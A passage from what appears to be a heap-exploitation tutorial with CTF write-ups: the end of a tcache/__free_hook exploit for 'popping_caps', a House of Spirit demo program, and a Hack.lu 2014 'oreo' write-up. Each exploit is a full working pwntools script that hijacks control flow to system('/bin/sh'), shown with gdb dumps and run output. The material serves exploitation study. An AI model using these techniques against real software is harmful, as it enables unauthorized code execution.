0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0
```

Proceeding that, we will free the tcache idx block:

```
gef➤  x/100g 0x0000556921223000
0x556921223000:	0x0	0x251
0x556921223010:	0x0	0x0
0x556921223020:	0x0	0x0
0x556921223030:	0x1000000	0x0
0x556921223040:	0x0	0x0
0x556921223050:	0x0	0x0
0x556921223060:	0x0	0x0
0x556921223070:	0x0	0x0
0x556921223080:	0x0	0x0
0x556921223090:	0x0	0x0
0x5569212230a0:	0x0	0x0
0x5569212230b0:	0x0	0x0
0x5569212230c0:	0x0	0x0
0x5569212230d0:	0x0	0x0
0x5569212230e0:	0x0	0x0
0x5569212230f0:	0x0	0x0
0x556921223100:	0x0	0x0
0x556921223110:	0x0	0x0
0x556921223120:	0x0	0x0
0x556921223130:	0x0	0x0
0x556921223140:	0x0	0x0
0x556921223150:	0x0	0x0
0x556921223160:	0x0	0x556921223010
0x556921223170:	0x0	0x0
0x556921223180:	0x0	0x0
0x556921223190:	0x0	0x0
0x5569212231a0:	0x0	0x0
0x5569212231b0:	0x0	0x0
0x5569212231c0:	0x0	0x0
0x5569212231d0:	0x0	0x0
0x5569212231e0:	0x0	0x0
0x5569212231f0:	0x0	0x0
0x556921223200:	0x0	0x0
0x556921223210:	0x0	0x0
0x556921223220:	0x0	0x0
0x556921223230:	0x0	0x0
0x556921223240:	0x0	0x0
0x556921223250:	0x0	0x21
0x556921223260:	0x0	0x0
0x556921223270:	0x0	0x20d91
0x556921223280:	0x0	0x0
0x556921223290:	0x0	0x0
0x5569212232a0:	0x0	0x0
0x5569212232b0:	0x0	0x0
0x5569212232c0:	0x0	0x0
0x5569212232d0:	0x0	0x0
0x5569212232e0:	0x0	0x0
0x5569212232f0:	0x0	0x0
0x556921223300:	0x0	0x0
0x556921223310:	0x0	0x0
```

As you can see, that chunk is in the tcache. Next we will allocate it:

```
gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x0
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0
```

Now `ptrCopy` is set equal to `0x556921223010`. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of `free` (which we know from the earlier infoleak), and also set the idx count to `0x1`. Also one thing I did here is I put `/bin/sh\x00` at `0x556921223050`, however that ended up not being needed:

```
gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x1    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x7f9c2755b8e8    0x68732f6e69622f
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0
gef➤  x/g 0x7f9c2755b8e8
```

```
0x7f9c2755b8e8 <__free_hook>:    0x0
```

Proceeding that we will allocate the chunk to the free hook:

```
gef➤  x/100g 0x0000556921223000
0x556921223000:	0x0	0x251
0x556921223010:	0x0	0x0
0x556921223020:	0x0	0x0
0x556921223030:	0x0	0x0
0x556921223040:	0x0	0x0
0x556921223050:	0x0	0x68732f6e69622f
0x556921223060:	0x0	0x0
0x556921223070:	0x0	0x0
0x556921223080:	0x0	0x0
0x556921223090:	0x0	0x0
0x5569212230a0:	0x0	0x0
0x5569212230b0:	0x0	0x0
0x5569212230c0:	0x0	0x0
0x5569212230d0:	0x0	0x0
0x5569212230e0:	0x0	0x0
0x5569212230f0:	0x0	0x0
0x556921223100:	0x0	0x0
0x556921223110:	0x0	0x0
0x556921223120:	0x0	0x0
0x556921223130:	0x0	0x0
0x556921223140:	0x0	0x0
0x556921223150:	0x0	0x0
0x556921223160:	0x0	0x0
0x556921223170:	0x0	0x0
0x556921223180:	0x0	0x0
0x556921223190:	0x0	0x0
0x5569212231a0:	0x0	0x0
0x5569212231b0:	0x0	0x0
0x5569212231c0:	0x0	0x0
0x5569212231d0:	0x0	0x0
0x5569212231e0:	0x0	0x0
0x5569212231f0:	0x0	0x0
0x556921223200:	0x0	0x0
0x556921223210:	0x0	0x0
0x556921223220:	0x0	0x0
0x556921223230:	0x0	0x0
0x556921223240:	0x0	0x0
0x556921223250:	0x0	0x21
0x556921223260:	0x0	0x0
0x556921223270:	0x0	0x20d91
0x556921223280:	0x0	0x0
0x556921223290:	0x0	0x0
0x5569212232a0:	0x0	0x0
0x5569212232b0:	0x0	0x0
0x5569212232c0:	0x0	0x0
0x5569212232d0:	0x0	0x0
0x5569212232e0:	0x0	0x0
0x5569212232f0:	0x0	0x0
0x556921223300:	0x0	0x0
0x556921223310:	0x0	0x0
```

Now that `ptrCopy` is set to the free hook, we will write to it the address of `system`. I originally tried using a onegadget, however they didn't work for me in this case:

```
gef➤  x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>:    0x7f9c271bd440
gef➤  x/g 0x7f9c271bd440
0x7f9c271bd440 <system>:    0xfa66e90b74ff8548
```

Now `ptr` is set to the free hook at `0x7f9c2755b8e8`, in the libc. Next we will free the string `/bin/sh\x00` in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to `/bin/sh`. This calls `system("/bin/sh")`.

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

#target = remote("pwn.chal.csaw.io", 1008)
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(target, gdbscript='pie b *0xbca')


elf = ELF("popping_caps")
libc = ELF("libc.so.6")

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
    print target.recvuntil("Your choice:")

def malloc(x):
    pl()
    target.sendline("1")
    print target.recvuntil("How many:")
    target.sendline(str(x))

def write(x):
    pl()
    target.sendline("3")
    print target.recvuntil("Read me in:")
    target.send(x)

def free(x):
    pl()
    target.sendline("2")
    print target.recvuntil("Whats in a free:")
    target.sendline(str(x))



malloc(0)

free(-592)

malloc(0x240)

payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) +
"/bin/sh\x00"

write(payload)
```

```
malloc(0)

write(p64(libcBase + libc.symbols["system"]))

free(-2333262)

target.interactive()
```

When we run it:

```
$    python roland.py
[+] Starting local process './popping_caps': pid 3993
[*] '/home/guyinatuxedo/Desktop/roland/popping_caps'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc base: 0x7f3a7d695000
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:

BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
```

```
Read me in:

BANG!
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Read me in:

BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:
[*] Switching to interactive mode

$ w
 22:52:12 up 39 min,  1 user,  load average: 0.00, 0.02, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               22:13   ?xdm?  32.21s  0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  libc.so.6  popping_caps  roland.py  solved.py
```

Just like that, we popped a shell!

House of Spirit Explanation

Shoutout to `fanpu` for a fix to a mistake for the diagram.

So this is a well documented C source file that explains how a House of Spirit attack works. It was ran on Ubuntu 16.04. Essentially with a House of Spirit attack, we create two fake chunks by writing two integers to a region of memory that will represent the sizes of the fake chunks. Then we get a pointer to point to the first fake chunk, and free it. Then we get malloc to return a pointer to that memory region. So it essentially allows us to get malloc to return a pointer to a region of memory that we can write two integers to.

It might seem a bit redundant since we can already write to this memory region. However if we can get malloc to return a pointer to a memory region, depending on the code we should be able to edit/view/manipulate that region of memory differently.

Here is the source code:

```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("So we will be covering a House of Spirit Attack.");
    puts("A House of Spirit Attack allows us to get malloc to return a fake
chunk to a region we have some control over (such as the bss or stack).");
    puts("In order for this attack to work and pass all of the malloc checks, we
will need to make two fake chunks.");
    puts("To setup the fake chunks, we will need to write fake size values for
the chunks.");
    puts("Also the first fake chunk is where we will want our chunk returned by
malloc to be.");
    puts("Let's get started!\n");


    unsigned long array[20];
    printf("So we start off by initializing our array on the stack.\n");
    printf("Array Start: %p\n", array);
    printf("Our goal will be to allocate a chunk at %p\n\n", &array[2]);


    printf("Now we need to write our two size values for the chunks.\n");
    printf("There are three restrictions we have to meet.\n\n");

    printf("0.) Size of the chunks must be within the fast bin range.\n");
    printf("1.) The size values must be placed where they should if they were an
actual chunk.\n");
    printf("2.) The size of the first heap chunk (the one that gets freed and
reallocated) must be the same as the rounded up heap size of the malloc that we
want to allocate our fake chunk.\n");
    printf("That should be larger than the argument passed to malloc.\n\n");

    printf("Also as a side note, the two sizes don't have to be equal.\n");
    printf("Check the code comments for how the fake heap chunks are
structured.\n");
    printf("With that, let's write our two size values.\n\n");

    /*
    this will be the structure of our two fake chunks:
    assuming that you compiled it for x64

    +-------+---------------------+------+
    | 0x00: | Chunk # 0 prev size | 0x00 |
    +-------+---------------------+------+
    | 0x08: | Chunk # 0 size      | 0x60 |
    +-------+---------------------+------+
    | 0x10: | Chunk # 0 content   | 0x00 |
    +-------+---------------------+------+
    | 0x60: | Chunk # 1 prev size | 0x00 |
    +-------+---------------------+------+
```

```
    | 0x68: | Chunk # 1 size      | 0x40 |
    +-------+---------------------+------+
    | 0x70: | Chunk # 1 content   | 0x00 |
    +-------+---------------------+------+

    for what we are doing the prev size values don't matter too much
    the important thing is the size values of the heap headers for our fake
chunks
    */

    array[1] = 0x60;
    array[13] = 0x40;

    printf("Now that we setup our fake chunks set up, we will now get a pointer
to our first fake chunk.\n");
    printf("This will be the ptr that we get malloc to return for this
attack\n");

    unsigned long *ptr;
    ptr = &(array[2]);

    printf("Address: %p\n\n", ptr);

    printf("Now we will free the pointer to place it into the fast bin.\n");

    free(ptr);

    printf("Now we can just allocate a chunk that it's rounded up malloc size
will be equal to that of our fake chunk (0x60), and we should get malloc to
return a pointer to array[1].\n\n");

    unsigned long *target;
    target = malloc(0x50);

    printf("returned pointer: %p\n", target);

}
```

When we run it:

```
$       ./house_spirit_exp
So we will be covering a House of Spirit Attack.
A House of Spirit Attack allows us to get malloc to return a fake chunk to a
region we have some control over (such as the bss or stack).
In order for this attack to work and pass all of the malloc checks, we will need
to make two fake chunks.
To setup the fake chunks, we will need to write fake size values for the chunks.
Also the first fake chunk is where we will want our chunk returned by malloc to
be.
Let's get started!

So we start off by initializing our array on the stack.
Array Start: 0x7ffd2d2cbc10
Our goal will be to allocate a chunk at 0x7ffd2d2cbc20

Now we need to write our two size values for the chunks.
There are three restrictions we have to meet.

0.) Size of the chunks must be within the fastin range.
1.) The size values must be placed where they should if they were an actual
chunk.
2.) The size of the first heap chunk (the one that gets freed and reallocated)
must be the same as the rounded up heap size of the malloc that we want to
allocate our fake chunk.
That should be larger than the argument passed to malloc.

Also as a sidenote, the two sizes don't have to be equal.
Check the code comments for how the fake heap chunks are structured.
With that, let's write our two size values.

Now that we setup our fake chunks set up, we will now get a pointer to our first
fake chunk.
This will be the ptr that we get malloc to return for this attack
Address: 0x7ffd2d2cbc20

Now we will free the pointer to place it into the fast bin.
Now we can just allocate a chunk that it's rounded up malloc size will be equal
to that of our fake chunk (0x60), and we should get malloc to return a pointer
to array[1].

returned pointer: 0x7ffd2d2cbc20
```

Hack.lu 2014 Oreo

Let's take a look at the binary and libc:

```
$    pwn checksec oreo
[*] '/Hackery/pod/modules/house_of_spirit/hacklu14_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    file oreo
oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26,
BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped
$    ./libc-2.24.so
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 6.3.0 20170406.
Available extensions:
    crypt add-on version 2.1 by Michael Glad and others
    GNU Libidn by Simon Josefsson
    Native POSIX Threads Library by Ulrich Drepper et al
    BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./oreo
Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                    |
                      `----------'   OREO [ ))"-,                    |
                                           ""    `,  _,--....___     |
                                                   `/           """""

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:
```

So we can see that we are dealing with a `32` bit binary, with a Stack Canary and NX. The libc version we got was `libc-2.24.so`. When we run the binary, we are prompted with a menu.

Reversing

We can see the function at `0x0804898d` acts as our menu function:

```
void menu(void)

{
  int iVar1;
  undefined4 choice;
  int in_GS_OFFSET;

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n",1);
  printf("%u. Show added rifles\n",2);
  printf("%u. Order selected rifles\n",3);
  printf("%u. Leave a Message with your Order\n",4);
  printf("%u. Show current stats\n",5);
  printf("%u. Exit!\n",6);
LAB_08048a25:
  choice = promptInt();
  switch(choice) {
  case 1:
    addRifles();
    goto LAB_08048a25;
  case 2:
    showRifles();
    goto LAB_08048a25;
  case 3:
    orderRifles();
    goto LAB_08048a25;
  case 4:
    leaveMessage();
    goto LAB_08048a25;
  case 5:
    showStats();
    goto LAB_08048a25;
  case 6:
    break;
  }
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Next up we have the `addRifles` function:

```
void addRifles(void)

{
  undefined4 uVar1;
  int in_GS_OFFSET;
  int canary;

  uVar1 = ptr;
  canary = *(int *)(in_GS_OFFSET + 0x14);
  ptr = (char *)malloc(0x38);
  if (ptr == (char *)0x0) {
    puts("Something terrible happened!");
  }
  else {
    *(undefined4 *)(ptr + 0x34) = uVar1;
    printf("Rifle name: ");
    fgets(ptr + 0x19,0x38,stdin);
    nullTerminate(ptr + 0x19);
    printf("Rifle description: ");
    fgets(ptr,0x38,stdin);
    nullTerminate(ptr);
    riflesCount = riflesCount + 1;
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see a bit here about how the rifles are stored. They are not stored in an array of heap pointers, but rather a linked list. The head of the linked list is stored in the bss variable `ptr` at the address `0x804a288`. New rifles are inserted at the head of the linked list. An actual rifle object has this structure:

```
Size of heap chunk, 0x38
0x00: Rifle Description
0x19: Rilfe Name
0x34: Ptr to next rifle
```

We can see that we have two writes. The first is `0x38` bytes of data at `0x19` offset, and the second is `0x38` bytes from the start of the chunk. Both of these will give us an overflow, at least to the next pointer of the chunk. The first write will actually allow us to overflow outside of our heap chunk. Next up we have `showRifles`:

```
void showRifles(void)

{
  int in_GS_OFFSET;
  int currentPtr;
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Rifle to be ordered:\n%s\n","===================================");
  currentPtr = ptr;
  while (currentPtr != 0) {
    printf("Name: %s\n",currentPtr + 0x19);
    printf("Description: %s\n",currentPtr);
    puts("===================================");
    currentPtr = *(int *)(currentPtr + 0x34);
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

We can see here, this function essentially loops through our linked list and prints the name and description of all of the rifles. Next up we have the `orderRifles` function:

```
void orderRifles(void)

{
  int in_GS_OFFSET;
  void *currentPtr;
  int canary;
  void *newPtr;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  currentPtr = ptr;
  if (riflesCount == 0) {
    puts("No rifles to be ordered!");
  }
  else {
    while (currentPtr != (void *)0x0) {
      newPtr = *(void **)((int)currentPtr + 0x34);
      free(currentPtr);
      currentPtr = newPtr;
    }
    ptr = (void *)0x0;
    orders = orders + 1;
    puts("Okay order submitted!");
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

This function essentially loops through our linked list, and frees all of the heap chunks. It then zeroes out `ptr` and increments the bss variable `orders` stored at `0x0804a2a0`:

```
void leaveMessage(void)

{
  int in_GS_OFFSET;
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Enter any notice you\'d like to submit with your order: ");
  fgets(message,0x80,stdin);
  nullTerminate(message);
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

For this function, we can see that it allows us to scan `0x80` bytes worth of data into the char array pointed to by the bss ptr `message`, located at `0x804a2a8`. We can see confirm this in gdb:

```
gef➤  r
Starting program: /Hackery/pod/modules/house_of_spirit/hacklu14_oreo/oreo
Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 4
Enter any notice you'd like to submit with your order: 15935728
Action: ^C

. . .

gef➤  x/w 0x804a2a8
0x804a2a8:  0x804a2c0
gef➤  x/w 0x804a2c0
0x804a2c0:  0x33393531
gef➤  x/s 0x804a2c0
0x804a2c0:  "15935728"
```

Next up:

```
void showStats(void)

{
  int in_GS_OFFSET;
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  puts("======= Status =======");
  printf("New:    %u times\n",riflesCount);
  printf("Orders: %u times\n",orders);
  if (*message != '\0') {
    printf("Order Message: %s\n",message);
  }
  puts("=====================");
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Finally we have the showStats function, which will print the value of `riflesCount`, `orders`, and `message`.

Exploitation

So starting off, we will get a libc infoleak. Then we will execute a House of Spirit attack, to allocate a fake chunk at `0x804a2a8`. We will leverage this to overwrite the `message` ptr to point to the got entry for `scanf`. We will then perform a got overwrite using the `leaveMessage` function to be the libc address for `system`. After that, we will just call `scanf` with the argument being `/bin/sh` and get a shell.

Overwriting `scanf` might seem a bit weird, since it is what scans in our data. However in the `promptInt` function, we can see that our input is first scanned in via `fgets`, then passed to `scanf` so it will work for our use:

```
undefined4 promptInt(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  undefined4 int;
  char input [32];

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  do {
    printf("Action: ");
    fgets(input,0x20,stdin);
    iVar2 = __isoc99_sscanf(input,&fmtString,&int);
  } while (iVar2 == 0);
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return int;
}
```

Libc Infoleak

For the libc infoleak, we will overflow the next pointer of one of the rifles with a got entry address. Proceeding that, we will run the `showRifles` function. When it prints the name of the second rifle, the first four bytes of the output will be our libc infoleak. With that, we can break ASLR in libc.

House of Spirit

First let's talk about how a House of Spirit attack works. The idea of a House of Spirit attack is to get malloc to return a pointer to a chunk of memory we want. To execute this, we will setup two fake chunks. The first chunk we setup is the one that we will get malloc to return. After the setup, we will free the first chunk which will add it to the fastbin list. Then we will allocate it with malloc.

For the setup for the chunks, we need to set the size value for the chunks. A quick refresher, the size is the first 4 bytes (8 bytes for x64 systems) before the actual content of the chunk. There are three requirements for what this value can be for the first chunks. The first is that it has to be the same size as the size malloc needs, when you are actually trying to get malloc to return the fake chunk. Keep in mind, this includes the heap metadata with the chunk, so it will be bigger than the size you pass malloc. In `x86` systems, the heap metadata takes up `0x8` bytes, and in `x64` systems the heap metadata takes up `0x10` bytes. In addition to that, malloc will just round certain sizes up. In this binary, we can see that rifles sizes are `0x41` bytes big (the `0x1` is from the previous in use bit), although we only requested `0x30` bytes of space.

The second requirement is that the chunk sizes must be fastbin size. Since we are trying to get this chunk in the fastbin, it's a bit of a given. The third requirement is that the size values have to be placed at offsets that would match actual chunks that are adjacent in memory. So if your first size value is `0x40`, assume that the second chunk's metadata starts `0x40` bytes after the start of the content section of the first chunk. Also the sizes of the two chunks don't need to be the same (however the second chunk's size still needs to be fastbin size). Also you don't need to set the previous chunk size in the heap metadata.

Now for executing this attack on this ctf challenge. Our goal will be to allocate a chunk at `0x804a2a8`. For that we will need to set a fake size at `0x804a2a4`. This matches up to the bss integer `riflesCount`. Since our only real control over this is making new files, we will need to allocat `0x41` rifles to set the size to `0x41` (since that is the actual size of a rifle chunk). With that, it will expect our second chunk at `0x3c + 0x4 = 0x40` bytes away from the first size value. We have the `0x3c` bytes from the first chunk which is `0x40` bytes big (the first `0x4` bytes is the previous freed chunk size), and `0x4` bytes from the next chunk's previous free chunk size.

Exploit

Putting it all together, we have the following exploit. This exploit was ran on Ubuntu 16.0 :

```python
# This exploit is based off of https://dangokyo.me/2017/12/04/hack-lu-ctf-2014-pwn-oreo-write-up/

from pwn import *

target = process('./oreo', env={"LD_PRELOAD":"./libc-2.23.so"})
gdb.attach(target)
elf = ELF('oreo')
libc = ELF("libc-2.23.so")

def addRifle(name, desc):
  target.sendline('1')
  target.sendline(name)
  target.sendline(desc)

def leakLibc():
  target.sendline('2')
  print target.recvuntil("Description: ")
  print target.recvuntil("Description: ")
  leak = target.recvline()
  puts = u32(leak[0:4])
  libc_base = puts - libc.symbols['puts']
  return libc_base

def orderRifles():
  target.sendline("3")

def leaveMessage(content):
  target.sendline("4")
  target.sendline(content)

# First commence the initial overflow of the previous gun ptr with the got address of puts for the infoleak
addRifle('0'*0x1b + p32(elf.got['puts']), "15935728")

# Show the guns, scan in and parse out the infoleak, figure out the base of libc, and figure out where system is
libc_base = leakLibc()
system = libc_base + libc.symbols['system']
log.info("System is: " + hex(system))

# Iterate through 0x3f cycles of adding then freeing that rifle, to increment new_rifles to 0x40. Also we need to overwrite the value of previous_rifle_ptr with 0x0, so the free check won't do anything (and the program won't crash)
for i in xrange(0x3f):
  addRifle("1"*0x1b + p32(0x0), "1593")
  orderRifles()

# Add a rifle to overwrite the next ptr for the rifle to the address of 0x804a2a8 (our fake chunk for the house of spirit)
addRifle("1"*0x1b + p32(0x804a2a8), "15935728")
```

```
# Write the size value of the second fake chunk by leaving a message
leaveMessage(p32(0)*9 + p32(0x81))


# Free the fake chunk, so it ends up in the fast bin
orderRifles()

# Allocate a new chunk of heap, which will allow us to write over 0x804a2a8
which is messafe_storage_ptr with the got address of scanf
addRifle("15935728", p32(elf.got['__isoc99_sscanf']))

# Write over the value stored in the got address of scanf with the libc address
of system which we got from the infoleak
leaveMessage(p32(system))

# Send the string /bin/sh which will get scanned into memory with fgets, then
passed to system (supposed to be passed to scanf)
target.sendline("/bin/sh")

# Drop to an interactive shell
target.interactive()
```

```
$ python exploit.py
[+] Starting local process './oreo': pid 3935
[*] '/Hackery/pod/modules/house_of_spirit/hacklu14_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/Hackery/pod/modules/house_of_spirit/hacklu14_oreo/libc-2.23.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/          """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: Rifle name: Rifle description: Action: Rifle to be ordered:
===================================
Name: 000000000000000000000000000H\xa2\x0
Description:
15935728
===================================
Name:
Description:
[*] System is: 0xf7dceda0
[*] Switching to interactive mode
===================================
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
```

```
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
Action: Rifle name: Rifle description: Action: Okay order submitted!
